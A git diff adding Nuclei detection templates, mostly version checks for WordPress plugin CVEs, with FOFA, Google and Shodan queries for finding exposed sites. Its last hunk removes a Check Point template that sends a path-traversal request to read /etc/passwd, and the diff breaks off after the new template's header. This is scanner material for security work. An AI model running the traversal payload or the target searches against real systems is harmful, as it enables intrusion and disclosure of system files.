a/poc/cve/CVE-2023-6876-74a1227dd83e29f4a4e31410e485e7f0.yaml b/poc/cve/CVE-2023-6876-74a1227dd83e29f4a4e31410e485e7f0.yaml new file mode 100644 index 0000000000..c1a802d10e --- /dev/null +++ b/poc/cve/CVE-2023-6876-74a1227dd83e29f4a4e31410e485e7f0.yaml @@ -0,0 +1,59 @@ +id: CVE-2023-6876-74a1227dd83e29f4a4e31410e485e7f0 + +info: + name: > + Clever Fox – One Click Website Importer by Nayra Themes <= 25.2.0 - Missing Authorization to arbitrary theme activation via clever-fox-activate-theme + author: topscoder + severity: low + description: > + The Clever Fox – One Click Website Importer by Nayra Themes plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'clever-fox-activate-theme' function in all versions up to, and including, 25.2.0. This makes it possible for authenticated attackers, with subscriber access and above, to modify the active theme, including to an invalid value which can take down the site. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/9e1f94d9-8be6-4174-90a5-820c0207a2fa?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L + cvss-score: 5.4 + cve-id: CVE-2023-6876 + metadata: + fofa-query: "wp-content/plugins/clever-fox/" + google-query: inurl:"/wp-content/plugins/clever-fox/" + shodan-query: 'vuln:CVE-2023-6876' + tags: cve,wordpress,wp-plugin,clever-fox,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/clever-fox/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "clever-fox" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 25.2.0') \ No newline at end of file diff --git a/poc/cve/CVE-2023-6956.yaml b/poc/cve/CVE-2023-6956.yaml new file mode 100644 index 0000000000..e57d165d65 --- /dev/null +++ b/poc/cve/CVE-2023-6956.yaml @@ -0,0 +1,59 @@ +id: CVE-2023-6956 + +info: + name: > + EasyAzon – Amazon Associates Affiliate Plugin <= 5.1.0 - Reflected Cross-Site Scripting via easyazon-cloaking-locale + author: topscoder + severity: medium + description: > + The EasyAzon – Amazon Associates Affiliate Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘easyazon-cloaking-locale’ parameter in all versions up to, and including, 5.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/3d13454c-0c46-4b16-8e0e-bbfcf2338230?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2023-6956 + metadata: + fofa-query: "wp-content/plugins/easyazon/" + google-query: inurl:"/wp-content/plugins/easyazon/" + shodan-query: 'vuln:CVE-2023-6956' + tags: cve,wordpress,wp-plugin,easyazon,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/easyazon/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "easyazon" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 5.1.0') \ No newline at end of file diff --git a/poc/cve/CVE-2023-6966.yaml b/poc/cve/CVE-2023-6966.yaml new file mode 100644 index 0000000000..4de84a3759 --- /dev/null +++ b/poc/cve/CVE-2023-6966.yaml @@ -0,0 +1,59 @@ +id: CVE-2023-6966 + +info: + name: > + The Moneytizer <= 9.5.20 - Missing Authorization via multiple AJAX actions + author: topscoder + severity: low + description: > + The The Moneytizer plugin for WordPress is vulnerable to unauthorized access of data, modification of data, and loss of data due to a missing capability check on multiple AJAX functions in the /core/core_ajax.php file in all versions up to, and including, 9.5.20. This makes it possible for authenticated attackers, with subscriber access and above, to update and retrieve billing and bank details, update and reset the plugin's settings, and update languages as well as other lower-severity actions. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/71823e36-3899-4253-a1d2-c6f8921d18dc?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N + cvss-score: 8.1 + cve-id: CVE-2023-6966 + metadata: + fofa-query: "wp-content/plugins/the-moneytizer/" + google-query: inurl:"/wp-content/plugins/the-moneytizer/" + shodan-query: 'vuln:CVE-2023-6966' + tags: cve,wordpress,wp-plugin,the-moneytizer,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/the-moneytizer/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "the-moneytizer" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 9.5.20') \ No newline at end of file diff --git a/poc/cve/CVE-2023-6968.yaml b/poc/cve/CVE-2023-6968.yaml new file mode 100644 index 0000000000..ffe6c3d5f8 --- /dev/null +++ b/poc/cve/CVE-2023-6968.yaml @@ -0,0 +1,59 @@ +id: CVE-2023-6968 + +info: + name: > + The Moneytizer <= 9.5.20 - Cross-Site Request Forgery via multiple AJAX actions + author: topscoder + severity: medium + description: > + The The Moneytizer plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 9.5.20. This is due to missing or incorrect nonce validation on multiple AJAX functions. This makes it possible for unauthenticated attackers to to update and retrieve billing and bank details, update and reset the plugin's settings, and update languages as well as other lower-severity actions via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/14351561-bd31-4aaa-931a-e72917458013?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N + cvss-score: 8.1 + cve-id: CVE-2023-6968 + metadata: + fofa-query: "wp-content/plugins/the-moneytizer/" + google-query: inurl:"/wp-content/plugins/the-moneytizer/" + shodan-query: 'vuln:CVE-2023-6968' + tags: cve,wordpress,wp-plugin,the-moneytizer,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/the-moneytizer/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "the-moneytizer" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 9.5.20') \ No newline at end of file diff --git a/poc/cve/CVE-2024-0910.yaml b/poc/cve/CVE-2024-0910.yaml new file mode 100644 index 0000000000..05626b7660 --- /dev/null +++ b/poc/cve/CVE-2024-0910.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-0910 + +info: + name: > + Restrict for Elementor <= 1.0.6 - Protection Mechanism Bypass + author: topscoder + severity: medium + description: > + The Restrict for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.0.6 due to improper restrictions on hidden data that make it accessible through the REST API. This makes it possible for unauthenticated attackers to extract potentially sensitive data from post content. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/14993c04-7fe3-4c42-a605-2e431df14d79?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2024-0910 + metadata: + fofa-query: "wp-content/plugins/restrict-for-elementor/" + google-query: inurl:"/wp-content/plugins/restrict-for-elementor/" + shodan-query: 'vuln:CVE-2024-0910' + tags: cve,wordpress,wp-plugin,restrict-for-elementor,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/restrict-for-elementor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "restrict-for-elementor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.0.6') \ No newline at end of file diff --git a/poc/cve/CVE-2024-0972.yaml b/poc/cve/CVE-2024-0972.yaml new file mode 100644 index 0000000000..954e27bc73 --- /dev/null +++ b/poc/cve/CVE-2024-0972.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-0972 + +info: + name: > + BuddyPress Members Only <= 3.3.5 - Improper Access Control to Sensitive Information Exposure via REST API + author: topscoder + severity: medium + description: > + The BuddyPress Members Only plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.3.5 via the REST API. This makes it possible for unauthenticated attackers to bypass the plugin's "All Other Sections On Your Site Will be Opened to Guest" feature (when unset) and view restricted page and post content. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/dcfead67-d75d-46ae-ac68-a34643ac2f52?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2024-0972 + metadata: + fofa-query: "wp-content/plugins/buddypress-members-only/" + google-query: inurl:"/wp-content/plugins/buddypress-members-only/" + shodan-query: 'vuln:CVE-2024-0972' + tags: cve,wordpress,wp-plugin,buddypress-members-only,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/buddypress-members-only/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "buddypress-members-only" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 3.3.5') \ No newline at end of file diff --git a/poc/cve/CVE-2024-1175.yaml b/poc/cve/CVE-2024-1175.yaml new file mode 100644 index 0000000000..5b108b67f0 --- /dev/null +++ b/poc/cve/CVE-2024-1175.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-1175 + +info: + name: > + WP-Recall – Registration, Profile, Commerce & More <= 16.26.6 - Unauthenticated Payment Deletion via delete_payment + author: topscoder + severity: medium + description: > + The WP-Recall – Registration, Profile, Commerce & More plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'delete_payment' function in all versions up to, and including, 16.26.6. This makes it possible for unauthenticated attackers to delete arbitrary payments. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/6b84b13a-b46c-48fc-a7a8-de32c575d576?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L + cvss-score: 5.3 + cve-id: CVE-2024-1175 + metadata: + fofa-query: "wp-content/plugins/wp-recall/" + google-query: inurl:"/wp-content/plugins/wp-recall/" + shodan-query: 'vuln:CVE-2024-1175' + tags: cve,wordpress,wp-plugin,wp-recall,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wp-recall/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wp-recall" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 16.26.6') \ No newline at end of file diff --git a/poc/cve/CVE-2024-1689-27bd7427e9ad393d0cf747080614eaff.yaml b/poc/cve/CVE-2024-1689-27bd7427e9ad393d0cf747080614eaff.yaml new file mode 100644 index 0000000000..ace69bde5b --- /dev/null +++ b/poc/cve/CVE-2024-1689-27bd7427e9ad393d0cf747080614eaff.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-1689-27bd7427e9ad393d0cf747080614eaff + +info: + name: > + WooCommerce Tools <= 1.2.9 - Missing Authorization to Authenticated (Subscriber+) Plugin Module Deactivation + author: topscoder + severity: low + description: > + The WooCommerce Tools plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the woocommerce_tool_toggle_module() function in all versions up to, and including, 1.2.9. This makes it possible for authenticated attackers, with subscriber-level access and above, to deactivate arbitrary plugin modules. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/3830c901-be36-4c4b-976b-d388b6af0c67?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N + cvss-score: 5.3 + cve-id: CVE-2024-1689 + metadata: + fofa-query: "wp-content/plugins/woo-tools/" + google-query: inurl:"/wp-content/plugins/woo-tools/" + shodan-query: 'vuln:CVE-2024-1689' + tags: cve,wordpress,wp-plugin,woo-tools,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/woo-tools/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "woo-tools" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.2.9') \ No newline at end of file diff --git a/poc/cve/CVE-2024-1768-65f4d08bfbdd2f0f132b1bbe800c23c9.yaml b/poc/cve/CVE-2024-1768-65f4d08bfbdd2f0f132b1bbe800c23c9.yaml new file mode 100644 index 0000000000..3fa905e5aa --- /dev/null +++ b/poc/cve/CVE-2024-1768-65f4d08bfbdd2f0f132b1bbe800c23c9.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-1768-65f4d08bfbdd2f0f132b1bbe800c23c9 + +info: + name: > + Clever Fox <= 25.2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Clever Fox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's info box block in all versions up to, and including, 25.2.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/16af8724-595c-4daa-80bd-8125a32cc502?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-1768 + metadata: + fofa-query: "wp-content/plugins/clever-fox/" + google-query: inurl:"/wp-content/plugins/clever-fox/" + shodan-query: 'vuln:CVE-2024-1768' + tags: cve,wordpress,wp-plugin,clever-fox,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/clever-fox/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "clever-fox" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 25.2.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-1988-762c964e00ddc9f47b1625720fae377f.yaml b/poc/cve/CVE-2024-1988-762c964e00ddc9f47b1625720fae377f.yaml new file mode 100644 index 0000000000..c4f4abe2e2 --- /dev/null +++ b/poc/cve/CVE-2024-1988-762c964e00ddc9f47b1625720fae377f.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-1988-762c964e00ddc9f47b1625720fae377f + +info: + name: > + Post Grid, Form Maker, Popup Maker, WooCommerce Blocks, Post Blocks, Post Carousel – Combo Blocks <= 2.2.80 - Authenticated (Contributor+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Post Grid, Form Maker, Popup Maker, WooCommerce Blocks, Post Blocks, Post Carousel – Combo Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tag' attribute in blocks in all versions up to, and including, 2.2.80 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/e49da9e7-26a1-442b-b5d0-1da3bcf0e8c9?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-1988 + metadata: + fofa-query: "wp-content/plugins/post-grid/" + google-query: inurl:"/wp-content/plugins/post-grid/" + shodan-query: 'vuln:CVE-2024-1988' + tags: cve,wordpress,wp-plugin,post-grid,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/post-grid/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "post-grid" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.2.80') \ No newline at end of file diff --git a/poc/cve/CVE-2024-2017.yaml b/poc/cve/CVE-2024-2017.yaml new file mode 100644 index 0000000000..f40f7f0287 --- /dev/null +++ b/poc/cve/CVE-2024-2017.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-2017 + +info: + name: > + Countdown, Coming Soon, Maintenance – Countdown & Clock <= 2.7.8 - Missing Authorization to Authenticated (Subscriber+) PHP Object Injection + author: topscoder + severity: low + description: > + The Countdown, Coming Soon, Maintenance – Countdown & Clock plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the conditionsRow and switchCountdown functions in all versions up to, and including, 2.7.8. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject PHP Objects and modify the status of countdowns. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/d8fab229-cd6b-45a3-9e80-a03a1704ad3e?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2024-2017 + metadata: + fofa-query: "wp-content/plugins/countdown-builder/" + google-query: inurl:"/wp-content/plugins/countdown-builder/" + shodan-query: 'vuln:CVE-2024-2017' + tags: cve,wordpress,wp-plugin,countdown-builder,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/countdown-builder/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "countdown-builder" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.7.8') \ No newline at end of file diff --git a/poc/cve/CVE-2024-2129-67f84e116cb15b004c038b67c51f01a4.yaml b/poc/cve/CVE-2024-2129-67f84e116cb15b004c038b67c51f01a4.yaml new file mode 100644 index 0000000000..ae95d654fd --- /dev/null +++ b/poc/cve/CVE-2024-2129-67f84e116cb15b004c038b67c51f01a4.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-2129-67f84e116cb15b004c038b67c51f01a4 + +info: + name: > + WPBITS Addons For Elementor Page Builder <= 1.4 - Authenticated (Contributor+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The WPBITS Addons For Elementor Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's heading widget in all versions up to, and including, 1.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/05cd8f96-533a-4036-a01f-6ba1ad2d2b5e?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-2129 + metadata: + fofa-query: "wp-content/plugins/wpbits-addons-for-elementor/" + google-query: inurl:"/wp-content/plugins/wpbits-addons-for-elementor/" + shodan-query: 'vuln:CVE-2024-2129' + tags: cve,wordpress,wp-plugin,wpbits-addons-for-elementor,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wpbits-addons-for-elementor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wpbits-addons-for-elementor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.4') \ No newline at end of file diff --git a/poc/cve/CVE-2024-2253-e80d4914f56d0bcf3f9f3038bce09c0d.yaml b/poc/cve/CVE-2024-2253-e80d4914f56d0bcf3f9f3038bce09c0d.yaml new file mode 100644 index 0000000000..bc1e60919e --- /dev/null +++ b/poc/cve/CVE-2024-2253-e80d4914f56d0bcf3f9f3038bce09c0d.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-2253-e80d4914f56d0bcf3f9f3038bce09c0d + +info: + name: > + Testimonial Carousel For Elementor <= 10.2.2 - Authenticated (Contributor+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Testimonial Carousel For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via URL values the plugin's carousel widgets in all versions up to, and including, 10.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/d559b862-ee07-4207-8c64-81961516a046?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-2253 + metadata: + fofa-query: "wp-content/plugins/testimonials-carousel-elementor/" + google-query: inurl:"/wp-content/plugins/testimonials-carousel-elementor/" + shodan-query: 'vuln:CVE-2024-2253' + tags: cve,wordpress,wp-plugin,testimonials-carousel-elementor,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/testimonials-carousel-elementor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "testimonials-carousel-elementor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 10.2.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-2350.yaml b/poc/cve/CVE-2024-2350.yaml new file mode 100644 index 0000000000..5023db5cbe --- /dev/null +++ b/poc/cve/CVE-2024-2350.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-2350 + +info: + name: > + Clever Addons for Elementor <= 2.1.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple CAFE Widgets + author: topscoder + severity: low + description: > + The Clever Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the CAFE Icon, CAFE Team Member, and CAFE Slider widgets in all versions up to, and including, 2.1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/ca5befe9-7769-4367-84cf-05aabeced67a?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-2350 + metadata: + fofa-query: "wp-content/plugins/cafe-lite/" + google-query: inurl:"/wp-content/plugins/cafe-lite/" + shodan-query: 'vuln:CVE-2024-2350' + tags: cve,wordpress,wp-plugin,cafe-lite,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/cafe-lite/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "cafe-lite" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.1.9') \ No newline at end of file diff --git a/poc/cve/CVE-2024-2470-24a32cbca3778e79d1961c9566fa4daf.yaml b/poc/cve/CVE-2024-2470-24a32cbca3778e79d1961c9566fa4daf.yaml new file mode 100644 index 0000000000..42179c3384 --- /dev/null +++ b/poc/cve/CVE-2024-2470-24a32cbca3778e79d1961c9566fa4daf.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-2470-24a32cbca3778e79d1961c9566fa4daf + +info: + name: > + Simple Ajax Chat – Add a Fast, Secure Chat Box <= 20240318 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Simple Ajax Chat – Add a Fast, Secure Chat Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 20240318 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/a24ed885-557b-4f3e-b3d0-345d2ebc8cc5?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-2470 + metadata: + fofa-query: "wp-content/plugins/simple-ajax-chat/" + google-query: inurl:"/wp-content/plugins/simple-ajax-chat/" + shodan-query: 'vuln:CVE-2024-2470' + tags: cve,wordpress,wp-plugin,simple-ajax-chat,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/simple-ajax-chat/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "simple-ajax-chat" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 20240318') \ No newline at end of file diff --git a/poc/cve/CVE-2024-24919.yaml b/poc/cve/CVE-2024-24919.yaml index 1ac817dff8..3fd93c76fc 100644 --- a/poc/cve/CVE-2024-24919.yaml +++ b/poc/cve/CVE-2024-24919.yaml @@ -1,208 +1,37 @@ id: CVE-2024-24919 info: - name: Local File Inclusion - author: tamimhasan404 + name: Check Point R81, R80, R77, R75 - Arbitrary File Read + author: johnk3r severity: high + description: | + CVE-2024-24919 is an information disclosure vulnerability that can allow an attacker to access certain information on internet-connected Gateways which have been configured with IPSec VPN, remote access VPN or mobile access software blade. + reference: + - https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/ + - https://support.checkpoint.com/results/sk/sk182337 metadata: - tags: cve,cve2024, + max-request: 1 + vendor: checkpoint + product: quantum_security_gateway + cpe: cpe:2.3:h:checkpoint:quantum_security_gateway:*:*:*:*:*:*:*:* + tags: cve,cve2024,checkpoint,lfi http: - - method: POST - path: - - "{{BaseURL}}/clients/MyCRL" - headers: - Content-Type: application/x-www-form-urlencoded - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 - body: 'aCSHELL/../../../../../../../../../../../etc/passwd' - - matchers-condition: or - matchers: - - type: regex - part: body - regex: - - "cp_postgres:.*:.*:.*:.*:.*:.*:.*:" - - "postfix:.*:.*:.*:.*:.*:.*:.*:" - - "pcap:.*:.*:.*:.*:.*:.*:.*:" - - 